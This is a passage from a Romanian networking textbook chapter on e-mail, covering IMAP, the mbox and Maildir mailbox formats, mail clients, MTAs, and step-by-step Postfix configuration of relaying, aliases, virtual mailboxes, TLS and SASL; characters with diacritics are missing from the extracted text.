dezavantaj a dus la dezvoltarea unui alt protocol, IMAP (Internet Message Access Protocol)
1
. n
mod asemntor cu POP3, IMAP permite transferarea mesajelor ctre un alt calculator. Atunci
cnd IMAP este utilizat n modul online clientul nu transfer mesajele i nici nu le terge de pe
server. Clientul poate cere ns s primeasc antetele mesajelor, anumite pri din mesaje, sau
chiar mesajele care se potrivesc unui criteriu de cutare. n esen, IMAP permite manevrarea
mesajelor dintr-o csu potal aflat pe un server ca i cnd acestea ar fi stocate local.
Spre deosebire de POP3, protocolul IMAP ofer mai multe posibiliti de prelucrare a
mesajelor din csua potal. Cea mai important caracteristic este accesarea i manevrarea
mesajelor direct pe server. Fiind meninute pe server, mesajele nu sunt descrcate dect la
vizualizarea lor, existnd i opiunea descrcrii doar a unei pri din mesaj. Spre deosebire de
POP3, marcarea mesajelor este mult mai flexibil. Exist marcaje de: Seen (vizualizat),
Answered (rspuns), Flagged (marcat ca fiind urgent), Deleted (ters), Draft (nu a fost
terminat compunerea mesajului), Recent (este folosit pentru marcarea mesajelor noi, n
prima sesiune n care sunt vizualizate).
Spre deosebire de POP3, unde toate mesajele se gsesc pe server ntr-o singur csu
potal (inbox), iar directoarele (mailbox) nu se pot crea dect n aplicaia client (MUA),
protocolul IMAP permite crearea de directoare direct pe server. Utiliznd comenzi IMAP,
aplicaia client poate folosi filtre pentru mutarea mesajelor dintr-un director n altul, fr s fie
nevoie mcar ca mailbox-urile s fie situate pe acelai server.
O alt facilitate este posibilitatea accesrii concurente a csuelor potale, aceasta fcnd
posibil eventual i partajarea unei csue ntre mai muli utilizatori.
Cu toate c facilitile oferite de IMAP sunt superioare POP3, avantajul protocolului POP3
rmne acela al simplitii i al nesolicitrii extensive a resurselor serverului. Din aceste
motive, majoritatea furnizorilor de servicii Internet (ISP) sau e-mail vor pune la dispoziia
utilizatorilor servicii POP3. De partea cealalt, reelele locale folosesc de multe ori IMAP.
Folosind IMAP peste o reea de vitez ridicat, mesajele sunt accesate imediat, spre deosebire
de recuperarea acestora folosind POP3 sau accesarea prin intermediul unei interfee web.
8.2 Formatul csuei potale
Dup primirea unui mesaj destinat staiei locale, MTA va stoca mesajul ntr-o intrare din
sistemul local de fiiere denumit csu potal, message store sau mail spool. Formatul
csuei potale trebuie s fie cunoscut de clienii de e-mail locali care vor citi mesajele sau de
serverele POP3 sau IMAP care vor accesa csua pentru a livra mesajele utilizatorilor.
Dei anumite servere folosesc formate particulare pentru csua potal, cele mai ntlnite
dou formate sunt mbox (formatul tradiional) i Maildir (format mai recent).
8.2.1 mbox
Formatul mbox este forma tradiional de stocare a mesajelor pe un sistem Unix ntr-un
singur fiier asociat fiecrui utilizator. Fiecare nou mesaj din fiier ncepe cu o linie care ncepe
cu From urmat de un caracter spaiu.

1
RFC 2060
290 | R e e l e L o c a l e

Formatul mbox este formatul folosit implicit de majoritatea MTA-urilor. n mod obinuit,
mesajele sunt livrate n directorul /var/spool/mail/$USERNAME
1
. MTA-urile pot fi, ns,
configurate s livreze mesajele ntr-un fiier de tipul mbox din directorul home al utilizatorului.
ntruct fiierul mbox poate fi accesat simultan att de MTA ct i de serverul IMAP/POP3,
este necesar o form de locking care s asigure consistena accesului. n mod evident,
locking-ul atrage dup sine penalizri de performan i dificultatea implementrii pe un
sistem de fiiere montat n reea (cum ar fi NFS). Aceste probleme au fost cele care au condus
la crearea formatului Maildir.
8.2.2 Maildir
Formatul Maildir se deosebete de formatul mbox prin faptul c nu necesit mecanisme
de locking pentru a asigura integritatea mesajelor n timp ce mesajele sunt adugate, terse,
mutate. Fiecare mesaj este meninut ntr-un fiier separat. Modificrile sunt realizate prin
intermediul operaiilor atomice peste sistemul de fiiere.
Formatul Maildir a fost creat de Daniel J. Bernstein n momentul scrierii serverului qmail.
Directorul Maildir conine trei subdirectoare: tmp, new i cur, localizate, de obicei, n
cadrul unui director din home-ul utilizatorului:
razvan@anaconda:~$ ls -F /home/razvan/Maildir/
courierimaphieracl/ courierimapsubscribed courierpop3dsizelist new/
courierimapkeywords/ courierimapuiddb cur/ tmp/
Fiierele din directorul new sunt mesaje livrate dar care nu au fost citite. Linia care ncepe
cu From nu mai este necesar. Dup ce un mesaj este vizualizat este mutat n directorul cur.
Directorul tmp este folosit n momentul livrrii mesajelor pentru a stoca un mesaj pn la
scrierea acestuia n directorul new.
8.3 Clieni de e-mail
Un client de e-mail sau MUA este aplicaia folosit pentru a transmite i a citi mesaje
de pot electronic. Transmiterea presupune contactarea unui server SMTP iar citirea
nseamn folosirea unui server IMAP sau POP3.
n zilele noastre clienii de e-mail ocup un spectru larg de funcionaliti, de la clieni
n linie de comand (alpine, mutt) pn la aplicaii integrate de tip PIM (Personal Information
Manager) (Microsoft Outlook, Novell Evolution) sau aplicaii web care ndeplinesc rolul de
client de e-mail (Gmail, Yahoo! Mail).
Facilitile de baz ale unui client de e-mail sunt folosirea POP3/IMAP pentru
descrcarea/accesarea mesajelor, folosirea de filtre, folosirea de semnturi, autentificarea i
criptarea comunicaiei. Printre facilitile furnizate de clienii de e-mail moderni se numr:
vizualizarea firelor de discuii
suport PGP, S/MIME
etichetarea mesajelor
corectarea erorilor de gramatic
vizualizarea imaginilor ataate (image preview), cutare indexat
Exemple de clieni de e-mail sunt:
clieni n linie de comand: mailx, mutt, alpine
clieni cu interfa grafic: Microsoft Outlook, Mozilla Thunderbird, Novell Evolution, KMail,
Opera Mail
clieni cu interfaa web (webmail): Gmail, Yahoo! Mail, Horde IMP, SquirrelMail

1
http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure
291 | E - m a i l

8.3.1 mailx
mailx (o versiune mbuntit a mail) este un utilitar pentru transmiterea i primirea
de mesaje pe sisteme Unix. Este un client de e-mail de baz, lipsit de posibilitatea de citire a
mesajelor de pe alt sistem. Mesajele sunt citite de pe sistemul local.
Dei cu puine funcionaliti, mailx poate fi folosit pentru manverarea rapid a
mesajelor stocate pe sistemul local. Cea mai frecvent utilizare a mailx este transmiterea de
mesaje direct din linia de comand. Acest lucru permite folosirea mailx n majoritatea
scripturilor care automatizeaz trimiterea de mesaje de pot electronic.
Citirea mesajelor se face interactiv prin invocarea comenzii mailx (sau forma
compatibil mail):
alina@anaconda:~$ mail
Mail version 8.1.2 01/15/2001. Type ? for help.
"/var/mail/alina": 24 messages 24 new
>N 1 liviu.dumitrascu@ Sat Jun 9 01:24 178/20754 61 joburi noi pentru tine
N 2 newsletter@9am.ro Sat Jun 9 02:47 960/53849 Casatorii pentru comunitate
N 3 liviu.dumitrascu@ Sat Jun 9 07:46 96/7653 Horoscopul Carierei pentru
N 4 liviu.dumitrascu@ Sun Jun 10 01:06 165/18540 17 joburi noi pentru tine
N 5 newsletter@wall-s Sun Jun 10 02:11 312/41081 Cele mai citite articole di
N 6 newsletter@9am.ro Sun Jun 10 09:25 660/52453 Cele mai citite articole di
N 7 newsletter@wall-s Mon Jun 11 03:20 446/38829 Luni, 11 Iunie - O saptamana
Orice mesaj are un index i o stare: nou, necitit, propus pentru a fi ters, mesaj la care s-a
rspuns, etc. Promptul oferit de mail este &. Comenzile posibile pot fi vizualitate prin activarea
ecranului de ajutor (comanda h): t afieaz, d terge, r replic.
Invocarea non-interactiv a comenzii permite transmiterea de mesaje. Astfel, dac se
dorete transmiterea unui mesaj ctre utilizatorul ana@avatar.com cu subiectul Filmul
saptamanii, se va folosi comanda:
razvan@anaconda:~$ mail -s "Filmul saptamanii" ana@avatar.com
Vii la film miercuri?
.
Cc:
Caracterul . (sau opional CTRL-D) nseamn ncheierea mesajului. mailx solicit
introducerea unui destinatar de tipul Carbon Copy, care a fost ignorat.
Dac mesajul este stocat ntr-un fiier, se poate folosi urmtoarea comand pentru
transmiterea sa:
razvan@anaconda:~$ cat hello.txt | mail -s "Filmul saptamanii" ana@avatar.com
Avantajul ultimei comenzi este lipsa de interactivitate. O astfel de comand poate fi uor
integrat n scripturi care necesit transmiterea automat a mesajelor de pot electronic.
8.4 MTA
Se apreciaz c, n ziua de astzi, peste 80% din MTA-urile existente n Internet ruleaz
Sendmail, Microsoft Exchange Server, Postfix i Exim.
Sendmail a fost pentru mult vreme serverul de e-mail implicit datorit dezvoltrii sale
nc de la nceputul Internetului. Sendmail a fost scris de Eric Allman la nceputul anilor 80.
Versiunea actual este 8.14. Sendmail nu a fost proiectat cu aspecte de securitate drept
pentru care a fost cauza a numeroase atacuri pe parcursul dezvoltrii Internetului.
Problemele de securitate ale Sendmail au condus la crearea Qmail i Postfix. Qmail, scris
de Daniel J. Bernstein, s-a dorit a fi revoluionar prin proiectarea ce inea cont de securitate.
Din pcate, ncepnd cu 1997, Qmail nu mai este dezvoltat i numrul de sisteme ce ruleaz
Qmail a sczut.
Postfix a urmrit, de asemenea, atent condiiile necesare pentru asigurarea securitii.
Una dintre deciziile importante a fost abandonarea sistemului monolitic folosit de Sendmail i
292 | R e e l e L o c a l e

folosirea unui sistem modular. Postfix este compus dintr-un set de daemoni cu drepturi
limitate care ndeplinesc diverse sarcini necesare.
Exim folosete modelul monolitic al Sendmail fr a avea parte, ns, de aceeai istorie de
vulnerabiliti. Cunoscndu-se problemele de securitate ale Sendmail, Exim a fost proiectate
pentru a nu suferi de aceleai vulnerabiliti. Ajuns la versiunea 4, Exim este MTA cu un nivel
ridicat de configurabilitate. Printre funcionalitile avansate ale Exim se numr folosirea de
liste de acces i integrarea unui framework de scanare a coninutului util ca filtru antivirus sau
anti-spam.
n lumea Unix, Sendmail rmne cel mai folosit MTA. Totui, dificultatea n configurare,
istoria de vulnerabiliti i existena unor soluii precum Postfix i Exim a dus la diminuarea
instalrilor de Sendmail. n ziua de astzi, majoritatea administratorilor de sistem recomand
folosirea Postfix sau Exim.
8.5 Postfix
Aprut iniial n cadrul unui proiect de jumtate de an pornit de Wietse Venema, Postfix a
fost dezvoltat ulterior, dovedindu-se o alternativ mai rapid i mai sigur pentru Sendmail.
Obiectivele de proiectare ale Postfix au fost fiabilitatea, performana, uurina n utilizare
i administrare i securitatea. Postfix pune la dispoziia administratorului un numr limitat de
fiiere de configurare cu directive simple. Pentru a facilita adoptarea Postfix ca MTA, multe
dintre fiierele i comenzile folosite de Sendmail sunt compatibile n Postfix. Comenzi precum
sendmail, newaliases i fiiere precum /etc/aliases sau .forward i-au pstrat rolul i n
Postfix.
Problemele majore ale Sendmail au fost cele de securitate. Postfix folosete o serie de
mecanisme pentru asigurarea securitii. Una din deciziile de proiectare importante a fost
modularitatea. n vreme ce Sendmail este un sistem monolitic, folosind un singur executabil cu
drepturi privilegiate pentru executarea sarcinilor, Postfix folosete un proces cu drepturi
limitate pentru fiecare tip de sarcin. Fiecare din procesele Postfix, denumite i ageni, ruleaz
sub paradigma celui mai mic privilegiu i execut doar sarcina proprie: transmitere mesaj,
stocare mesaj, livrare local, gestiunea cozii, etc. Singurul proces care ruleaz cu drepturi
privilegiate este procesul master care le pornete pe toate celelalte. Postfix folosete de
asemenea facilitatea de chroot a sistemelor Unix pentru a limita vizibilitatea sistemului de
fiiere pentru un proces. De obicei, procesele Postfix sunt rulate n jail-ul
/var/spool/postfix.
8.5.1 Arhitectur
8.5.2 Instalare
Pe sistemele Debian-based, Postfix este disponibil n forma binar n pachetul postfix.
# apt-get install postfix
n cadrul procesului de instalare trebuie rspuns la cteva ntrebri pentru a se specifica:
1. Tipul serverului. Din opiunile disponibile (No configuration, Internet Site, Internet with
smathost, Satellite system, Local Only), cel mai adesea se va alege Internet Site.
2. Numele serverului. Trebuie specificat sub forma nume.domeniu, de exemplu mail-
test.cs.pub.ro.
Dup instalare se specific modul n care se poate altera configuraia curent a Postfix i
vizualizarea valorilor configurate:
Postfix is now set up with a default configuration. If you need to make changes, edit
/etc/postfix/main.cf (and others) as needed. To view Postfix configuration values, see
postconf(1).
293 | E - m a i l


After modifying main.cf, be sure to run '/etc/init.d/postfix reload'.
8.5.3 Interaciunea cu Postfix
Interaciunea cu serverul Postfix se poate realiza n mai multe moduri. Ca orice serviciu,
Postfix poate fi oprit, repornit, pornit prin intermediul scripturilor de iniializare a sistemului:
cuirass:~# /etc/init.d/postfix stop
Stopping Postfix Mail Transport Agent: postfix.
cuirass:~# /etc/init.d/postfix start
Starting Postfix Mail Transport Agent: postfix.
cuirass:~# /etc/init.d/postfix restart
Stopping Postfix Mail Transport Agent: postfix.
Starting Postfix Mail Transport Agent: postfix.
n plus, comanda postfix poate fi folosit cu acelai scop:
cuirass:~# postfix stop
postfix/postfix-script: stopping the Postfix mail system
cuirass:~# postfix start
postfix/postfix-script: starting the Postfix mail system
cuirass:~# postfix reload
postfix/postfix-script: refreshing the Postfix mail system
Pachetul Postfix instaleaz alte programe utile pentru comanda i gestiunea serverului
Postfix precum newalisases sau postconf.
8.5.3.1 Jurnalizare
Verificarea corectitudinii funcionrii serverului Postfix se realizeaz, de obicei, prin
inspecia fiierelor de jurnalizare. n mod obinuit, fiierele de jurnalizare se gsesc n
/var/log/mail.*. Exist, de obicei, 4 fiiere corespunztoare diferitelor niveluri de
jurnalizare i eroare:
mail.log
mail.info
mail.err
mail.warn
Aceste fiiere pot fi inspectate pentru a verifica ce mesaje sunt transmise sau pentru a
verifica erorile aprute la transmisia unui mesaj. Cele 4 fiiere corespund nivelurilor de
jurnalizare diferite: erori (.err), avertismente (.warn), informaii (.info), operaii jurnalizate
(.log).
8.5.3.2 Alte comenzi utile
mailq - afieaz informaii despre mesajele din coada de mesaje (ID, dimensiune, surs,
destinaie, motivul pentru care nu a fost livrat - dac este cazul, etc.);
postsuper -d queue_id - terge mesajul identificat de queue_id din coada de mesaje;
pentru tergerea tuturor mesajelor se utilizeaz postsuper -d ALL;
postqueue -f - foreaz retrimiterea mesajelor din coad.
8.5.4 Fiiere de configurare
Fiierele de configurare ale Postfix-ului se gsesc n /etc/postfix, cele mai importante
fiind /etc/postfix/main.cf i /etc/postfix/master.cf. Fiierul principal de configurare
este /etc/postfix/main.cf. Dup fiecare modificare a acestor fiiere este necesar
repornirea serverului:
# /etc/init.d/postfix reload
sau
# postfix reload
294 | R e e l e L o c a l e

Fiierul principal de configurare conine directive n forma nume = valoare i afecteaz
funcionarea serviciului:
cuirass:~# tail -3 /etc/postfix/main.cf
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
Fiierul master.cf definete funcionarea daemon-ului master, procesul care
coordoneaz pornirea celorlalte procese Postfix:
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
[...]
pickup fifo n - - 60 1 pickup
cleanup unix n - - - 0 cleanup
8.5.4.1 postconf
Alterarea fiierului /etc/postfix/main.cf poate fi realizat prin intermediul unui editor,
dar se recomand folosirea comenzii postconf. Comanda postconf poate fi folosit pentru
verificarea fiierului principal de configurare, pentru vizualizarea directivelor de configurare
sau pentru modificarea unei directive. Directivele care nu sunt configurate n
/etc/postfix/main.cf au o valoare implicit.
Afiarea configuraiei actuale se realizeaz prin rularea fr argumente a comenzii
postconf:
cuirass:~# postconf | head -3
2bounce_notice_recipient = postmaster
access_map_reject_code = 554
address_verify_default_transport = $default_transport
Editarea unei directive se realizeaz prin intermediul argumentului -e:
cuirass:~# postconf mailbox_size_limit
mailbox_size_limit = 0
cuirass:~# postconf -e mailbox_size_limit=30000000
cuirass:~# postconf mailbox_size_limit
mailbox_size_limit = 30000000
8.5.5 Configurare de baz
Directivele importante din fiierul principal de configurare afecteaz parametri precum
nume de domeniu, interfee i reele active, suport TLS i SASL, utilizatori virtuali i csue
potale virtuale.
8.5.5.1 Configurare domenii
Directivele de baz pentru configurarea numelor de domeniu sunt myorigin i
mydestination.
Directiva myorigin specific domeniul surs pentru mesajele transmise de pe sistemul
local:
cuirass:~# postconf myorigin
myorigin = /etc/mailname
cuirass:~# cat /etc/mailname
cuirass.localdomain
Spre exemplu, n cazul folosirii comenzii mailx, domeniul specificat de myorigin va fi
ataat la numele utilizatorului care a folosit comanda. n cazul de mai sus, dac utilizatorul ana
transmite un mesaj folosind mailx, expeditorul va fi ana@cuirass.localdomain.
Directiva mydestination specific domeniile pentru care mesajele sunt pstrate local.
Mesajele destinate utilizatorului test_user@test_domain.com vor fi livrate utilizatorului local
295 | E - m a i l

test_user dac domeniul test_domain este prezent n cadrul directivei mydestination. Un
server Postfix poate asigura gzduire virtual pentru mai multe domenii prin adugarea
acestora n directiva mydestination. n listingul de mai jos se configureaz Postfix pentru a
accepta mesaje i pentru domeniul test.cs.pub.ro:
cuirass:~# postconf mydestination
mydestination = cuirass.localdomain, localhost.localdomain, , localhost
cuirass:~# postconf -e 'mydestination = cuirass.localdomain, localhost.localdomain, ,
localhost, test.cs.pub.ro'
cuirass:~# postconf mydestination
mydestination = cuirass.localdomain, localhost.localdomain, , localhost, test.cs.pub.ro
Configuraia este complet dac exist i o mapare ntre numele de domeniu i adresa IP a
sistemului pe care ruleaz Postfix. Aceasta se poate realiza printr-o configurare DNS sau,
pentru testare local, prin adugarea unei mapri n fiierul /etc/hosts:
cuirass:~# cat /etc/hosts | grep test
172.16.68.128 test.cs.pub.ro
cuirass:~# ping -c 1 test.cs.pub.ro
PING test.cs.pub.ro (172.16.68.128) 56(84) bytes of data.
64 bytes from test.cs.pub.ro (172.16.68.128): icmp_seq=1 ttl=64 time=1.20 ms
n aceast configuraie, mesajele livrate ctre ana@localhost, ana@localhost.localdomain,
ana@cuirass.localdomain, ana@test.cs.pub.ro vor ajunge n csua potal a utilizatorului ana.
8.5.5.2 Configurare interfee i porturi
Directiva inet_interfaces precizeaz interfeele pe care Postfix ascult conexiuni. Implicit,
Postfix ascult conexiuni pe toate interfeele:
cuirass:~# postconf inet_interfaces
inet_interfaces = all
Postfix poate fi configurat s asculte conexiuni doar pe o interfa sau pe cteva interfee:
cuirass:~# postconf inet_interfaces
inet_interfaces = all
cuirass:~# netstat -tlnp | grep 25
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 4926/master
cuirass:~# postconf -e 'inet_interfaces = 127.0.0.1, 172.16.68.128'
cuirass:~# /etc/init.d/postfix restart
Stopping Postfix Mail Transport Agent: postfix.
Starting Postfix Mail Transport Agent: postfix.
cuirass:~# netstat -tlnp | grep 25
tcp 0 0 172.16.68.128:25 0.0.0.0:* LISTEN 5041/master
tcp 0 0 127.0.0.1:25
Configurarea unui port pe care Postfix s asculte conexiuni se realizeaz prin intermediul
fiierului de configurare pentru daemon-ul master. Astfel, dac se dorete ca Postfix s asculte
conexiuni i pe portul 2525, se adaug linia de mai jos la fiierul /etc/postfix/master.cf:
2525 inet n - - - - smtpd
Dup repornire, Postfix va asculta conexiuni i pe portul 2525:
cuirass:~# /etc/init.d/postfix restart
Stopping Postfix Mail Transport Agent: postfix.
Starting Postfix Mail Transport Agent: postfix.
cuirass:~# netstat -tlnp | grep 25
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 4926/master
tcp 0 0 0.0.0.0:2525 0.0.0.0:* LISTEN 4926/master
Pentru a nu aciona ca open relay, Postfix accept transmiterea de mesaje ctre domenii
pentru care nu este destinatar doar de la staii din anumite reele. Precizarea acestor reele se
realizeaz prin intermediul directivei mynetworks. Mesajele sosite de la staii din aceste reele
vor fi livrate indiferent de destinaie. Cele sosite de la staii din alte reele vor fi livrate local
dac serverul este responsabil de domeniul destinaie (domeniul este asociat directivei
mynetworks) altfel vor fi respinse.
n configuraia de mai jos:
296 | R e e l e L o c a l e

cuirass:~# postconf mynetworks
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
Postfix va aciona ca relay doar pentru mesajele trimise de pe staia local. Mesaje sosite
din reea nu vor fi livrate domeniilor de care serverul nu este responsabil.
n listarea de mai jos se ncearc trimiterea unui mesaj ctre domeniul gmail.com prin
conectare pe interfaa 172.16.68.128. Specificarea destinatarului eueaz cu precizarea
mesajului Relay access denied
cuirass:~# telnet 172.16.68.128 25
Trying 172.16.68.128...
Connected to 172.16.68.128.
Escape character is '^]'.
220 cuirass.localdomain ESMTP Postfix (2.5.5)
EHLO localhost
[...]
MAIL FROM: ana
250 2.1.0 Ok
RCPT TO: razvand@gmail.com
554 5.7.1 <razvand@gmail.com>: Relay access denied
8.5.5.3 Configurare relaying
Dac se dorete configurarea de domenii ctre care mesajul s fie transmis indiferent de
surs, se folosete directiva relay_domains. Directiva specific domeniile pentru care se va
face relay, pe lng domeniile din mydestination.
n exemplul de mai jos se specific domeniul gmail.com ca domeniu pentru care se face
relay:
cuirass:~# postconf relay_domains
relay_domains = $mydestination
cuirass:~# postconf -e 'relay_domains = gmail.com'
Tabelul de mai jos explic modul n care se realizeaz transmiterea mesajelor n diverse
situaii:
Reea surs n
mynetworks
Domeniu destinaie n
mydestination
Domeniu destinaie n
relay_domains
Efect
DA Nu conteaz Nu conteaz Transmitere mesaj
NU DA Nu conteaz Livrare local
NU NU DA Transmitere mesaj
NU NU NU Mesaj respins
8.5.6 Configurare utilizatori virtuali i csue potale virtuale
Serverul Postfix ofer faciliti de gzduire virtual, adic poate fi configurat ca Mail
Exchange pentru mai multe domenii. Configurarea se realizeaz prin intermediul directivei
mydestination.
n plus, Postfix permite configurarea de utilizatori virtuali. Astfel de utilizatori nu exist n
sistem i mesajele ctre acetia sunt livrate fie unor utilizatori locali fie unor utilizatori de pe
alt sistem. Pot fi configurate, de asemenea, alias-uri pentru utilizatorii locali astfel nct
mesajele livrate unui utilizator local s fie redirectate altui utilizator sau unui alt sistem.
n fine, Postfix permite configurarea de utilizatori virtuali care folosesc csue potale
virtuale. Altfel spus, pot fi configurai utilizatori care nu au cont n sistem i li se pot asocia
intrri specializate n sistemul local de fiiere reprezentnd csuele potale. Un utilizator
virtual nu are cont n sistem i nici nu are un director home asociat. Are ns o intrare n
sistemul local de fiiere reprezentnd csua potal i poate primi i transmite mesaje.
297 | E - m a i l

8.5.6.1 Configurare aliasuri
Configurarea cea mai simpl de alias-uri n Postfix se realizeaz prin interfaa compatibil
Sendmail. Fiierul pentru configurarea de alias-uri este /etc/aliases. Dup editarea acestui
fiier activarea alias-urilor se realizeaz prin intermediul comenzii newaliases.
Fiierul are o structur de forma alias: adrese_finale. Adresele finale unde va fi livrat
mesajul pot fi separate prin spaiu sau prin virgul. Dac se dorete ca mesajele trimise ctre
elena s fie livrate utilizatorului florin i unei adrese externe se va aduga n fiierul
/etc/aliases o linie de forma:
elena: florin extern@example.org
Dup care se va rula comanda newaliases:
# newaliases
Utilizatorul elena poate s nu existe n sistem.
De multe ori un utilizator nu dorete folosirea contului de pe un sistem ci redirectarea
mesajelor ctre un alt cont. Acest lucru se realizeaz cu ajutorul fiierului .forward din home-
ul utilizatorului. Astfel, dac un utilizator dorete redirectarea mesajelor din contul su ctre
contul extern@example.org, va crea un fiier .forward n care va aduga acea adres:
$ cat .forward
extern@example.org
Orice adres adugat ulterior va nsemna transmiterea mesajului i ctre acea adres.
8.5.6.2 Configurare utilizatori virtuali pentru domenii multiple
n cazul folosirii suportului de gzduire virtual, un server Postfix va servi mai multe
domenii. De obicei se va dori ca mesajele transmise ctre fiecare domeniu s ajung
altundeva. Astfel, dac un server Postfix servete domeniiile alfa.com i beta.com, o cerin
poate fi ca mesajele ctre info@alfa.com s fie livrate utilizatorului local florin iar mesajele
livrate ctre info@beta.com s fie livrate adresei extern@example.org.
Interfaa de alias-uri Sendmail nu permite ca utilizatorul virtual/alias-ul s conin i un
nume de domeniu. Astfel, nu se poate face deosebirea ntre utilizatorul info@beta.com i
info@alfa.com. Pentru aceasta se folosesc directive specializate Postfix pentru domenii
virtuale.
Directiva virtual_alias_domains specific domeniile virtuale pe care le servete Postfix.
Domeniile precizate aici nu trebuie s se regseasc n cadrul directivei mydestination:
cuirass:~# postconf -e 'virtual_alias_domains = alfa.com, beta.com'
Fiierul care va conine alias-urile este precizat prin intermediul directivei
virtual_alias_maps:
cuirass:~# postconf -e 'virtual_alias_maps = hash:/etc/postfix/virtual_alias'
Intrrile n fiierul de alias-uri sunt n forma alias destinaie:
cuirass:~# cat /etc/postfix/virtual_alias
info@alfa.com elena
info@beta.com florin
contact@alfa.com extern@example.org
n configuraia de mai sus, mesajele destinate ctre info@alfa.com vor fi livrate
utilizatorului local elena, iar cele destinate info@beta.com utilizatorului local florin. De
asemenea, mesajele destinate contact@alfa.com vor fi livrate contului
extern@example.org.
298 | R e e l e L o c a l e

Dup completarea fiierului de alias-uri, activarea se realizeaz prin intermediul comenzii
postmap:
cuirass:~# postmap /etc/postfix/virtual_alias
Dac utilizatorii elena i florin doresc ca adresele surs pentru mesajele trimise s fie
info@alfa.com, respectiv info@beta.com se folosete directiva canonical_maps. Se pot
folosi directivele sender_canonical_maps, respectiv recipient_canonical_maps dac se
sorete modificarea adreselor surs, respectiv destinaie:
cuirass:~# postconf -e 'sender_canonical_maps = hash:/etc/postfix/canonical'
cuirass:~# cat /etc/postfix/canonical
ana info@alfa.com
bogdan info@beta.com
cuirass:~# postconf -e 'local_header_rewrite_clients = permit_mynetworks,
permit_sasl_authenticated'
cuirass:~# postmap /etc/postfix/canonical
Directiva local_header_rewrite_clients selectez clienii pentru care se va realiza
suprascrierea adresei surs. Aceast opiune este util pentru situaia n care se dorete
substituia conturilor din sistem cu adrese de forma Nume.Prenume.
8.5.6.3 Configurare csue potale virtuale
Un server de e-mail cu foarte muli utilizatori ar necesita existena unui numr foarte
mare de conturi. Dincolo de problemele de scalabilitate, gestiunea utilizatorilor devine
greoaie. Soluia este folosirea de csue potale virtuale. Utilizatorii vor fi utilizatori virtuali iar
csua potal va fi o intrare specializat n sistemul local de fiiere.
Pentru precizarea domeniilor care folosesc csue potale virtuale se folosete directiva
virtual_mailbox_domains:
cuirass:~# postconf -e 'virtual_mailbox_domains = gamma.com'
De obicei se va asocia un director pentru fiecare domeniu virtual. Spre exemplu
/var/mail/vhosts/gamma.com pentru gamma.com. Directiva virtual_mailbox_base
specific directorul de baz pentru domeniile virtuale:
cuirass:~# postconf -e 'virtual_mailbox_base = /var/mail/vhosts'
Ca pn acum, trebuie precizat fiierul ce va conine maprile ntre adresa de e-mail i
intrarea n sistemul de fiiere reprezentnd csua potal virtual:
cuirass:~# postconf -e 'virtual_mailbox_maps = hash:/etc/postfix/virtual'
cuirass:~# cat /etc/postfix/virtual
info@gamma.com gamma.com/info/
cuirass:~# postmap /etc/postfix/virtual
n cadrul maprii, intrarea asociat csuei potale virtuale este relativ la
virtual_maibox_base. n cazul n care csua potal este n format Maildir se folosete un
caracter / (slash) la sfrit. Csua potal n format Maildir se creeaz cu ajutorul utilitarului
maildirmake:
cuirass:~# mkdir -p /var/mail/vhosts/gamma.com
cuirass:~# cd /var/mail/vhosts/gamma.com/
cuirass:/var/mail/vhosts/gamma.com# maildirmake info
cuirass:/var/mail/vhosts/gamma.com# ls -l
total 4
drwx------ 5 root mail 4096 2008-09-17 01:24 info
Dup cum se observ, deintorul csuei potale virtuale este root. Csua potal
virtual va fi accesat i de serverul POP3/IMAP i trebuie configurat un utilizator comun att
pentru livrare (Postfix) ct i pentru acces (POP3/IMAP):
cuirass:/var/mail# useradd -g mail vmail
cuirass:/var/mail# id vmail
uid=1005(vmail) gid=8(mail) groups=8(mail)
299 | E - m a i l

cuirass:/var/mail# chown -R vmail:mail /var/mail/vhosts
Acest utilizator trebuie precizat i n directorul principal de configurare:
cuirass:/var/mail# postconf -e 'virtual_uid_maps = static:1005'
cuirass:/var/mail# postconf -e 'virtual_gid_maps = static:8'
cuirass:/var/mail# postfix reload
postfix/postfix-script: refreshing the Postfix mail system
Mesajele transmise ctre info@gamma.com vor fi stocate n csua potal
/var/mail/vhosts/gamma.com/info/ n format Maildir. De aici vor putea fi citite prin
configurarea corespunztoare a unui server POP3/IMAP.
8.5.7 Configurare suport SASL i TLS
8.5.7.1 Suport TLS
Ultimele versiuni de pachete postfix (> 2.3) ofer suport implicit pentru TLS. Astfel, fiierul
principal de configurare conine, n urma instalrii, directive specifice pentru suport TLS:
cuirass:/etc/courier# cat /etc/postfix/main.cf | grep tls
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
Certificatul folosit pentru autentificare este generat automat la instalare. Certificatul nu
este semnat, ns, de o autoritate de certificare i va furniza un avertisment n momentul
conectrii clientului.
8.5.7.2 Suport SASL
Pentru autentificare folosind SASL trebuie instalat o serie de pachete specifice:
cuirass:~# apt-get install libsasl2 sasl2-bin libsasl2-modules
n continuare trebuie activat autentificarea folosin SASL:
cuirass:~# postconf -e 'smtpd_sasl_local_domain ='
cuirass:~# postconf -e 'smtpd_sasl_auth_enable = yes'
cuirass:~# postconf -e 'smtpd_sasl_security_options = noanonymous'
cuirass:~# postconf -e 'broken_sasl_auth_clients = yes'
cuirass:~# postconf -e 'smtpd_recipient_restrictions =
permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination'
n plus, n fiierul /etc/postfix/sasl/smtpd.conf se specific metoda de autentificare:
cuirass:~# echo 'pwcheck_method: saslauthd' >> /etc/postfix/sasl/smtpd.conf
cuirass:~# echo 'mech_list: plain login' >> /etc/postfix/sasl/smtpd.conf
n ultim faz trebuie activat daemonul saslauthd. ntruct Postfix ruleaz ntr-un jail
chroot, saslauthd trebuie configurat corespunztor. Fiierul de configurare pentru
saslauthd este /etc/default/saslauthd. Se creeaz directorul /var/spool/postfix/
var/run/saslauthd:
cuirass:~# mkdir -p /var/spool/postfix/var/run/saslauthd
i se configureaz corespunztor serviciul de autentificare prin modificarea liniei:
OPTIONS="-c -m var/run/saslauthd"
n
